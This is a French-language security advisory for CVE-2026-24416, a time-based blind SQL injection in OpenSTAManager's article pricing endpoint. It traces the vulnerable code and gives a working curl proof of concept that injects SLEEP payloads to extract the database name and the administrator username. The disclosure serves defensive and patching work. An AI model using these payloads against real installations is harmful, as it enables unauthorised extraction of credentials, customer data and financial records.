
CVE-2026-24416 - OpenSTAManager présente une injection SQL aveugle basée sur le temps dans le module de tarification des articles.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-24416 |
| Sévérité | ÉLEVÉE |
| Avis de sécurité | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans le module de tarification des articles d'OpenSTAManager v2.9.8 permet à des attaquants authentifiés d'extraire l'intégralité du contenu de la base de données, y compris les identifiants des utilisateurs, les données clients et les enregistrements financiers, par le biais d'attaques par inférence booléenne basée sur le temps.
Statut : ✅ Confirmé et testé sur une instance en production (v2.9.8) et demo.osmbusiness.it (v2.9.7)
Paramètre vulnérable : idarticolo (GET)
Point de terminaison concerné : /ajax_complete.php?op=getprezzi
Module concerné : Articoli (Articles/Produits)
OpenSTAManager v2.9.8 contient une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans le gestionnaire de complétion des prix des articles. L'application ne parvient pas à assainir correctement le paramètre idarticolo avant de l'utiliser dans les requêtes SQL, ce qui permet aux attaquants d'injecter des commandes SQL arbitraires et d'extraire des données sensibles par inférence booléenne basée sur le temps.
Chaîne de vulnérabilité :
Point d'entrée : /ajax_complete.php (ligne 27)
$op = get('op');
$result = AJAX::complete($op);
Le paramètre op est récupéré, mais la vulnérabilité réside dans d'autres paramètres.
Acheminement : /src/AJAX.php::complete() (ligne 189)
$result = self::getCompleteResults($file, $resource);
Exécution : /src/AJAX.php::getCompleteResults() (ligne 402)
require $file;
Les fichiers complete.php spécifiques aux modules sont inclus.
Paramètre vulnérable : /modules/articoli/ajax/complete.php (ligne 26)
$idarticolo = get('idarticolo');
Le paramètre idarticolo est récupéré depuis la requête GET.
Requête SQL vulnérable : /modules/articoli/ajax/complete.php (ligne 70) VULNÉRABILITÉ PRINCIPALE
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Impact : Concaténation directe de $idarticolo sans prepare(), tandis que $idanagrafica est correctement assaini.
Contexte – Structure complète de la requête (lignes 39-74) :
La requête vulnérable fait partie d'une requête UNION qui récupère l'historique des prix à partir des factures et des bons de livraison :
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Cause racine : Le développeur a utilisé prepare() correctement dans la première instruction SELECT (ligne 54), mais a oublié de l'utiliser dans la deuxième instruction SELECT de la requête UNION (ligne 70), créant ainsi un modèle de sécurité incohérent.
Étape 1 : Connexion
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Étape 2 : Vérification de la vulnérabilité (SLEEP basé sur le temps)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
Étape 3 : Extraction de données – Nom de la base de données
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Étape 4 : Extraction de données sensibles – Identifiants administrateur
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)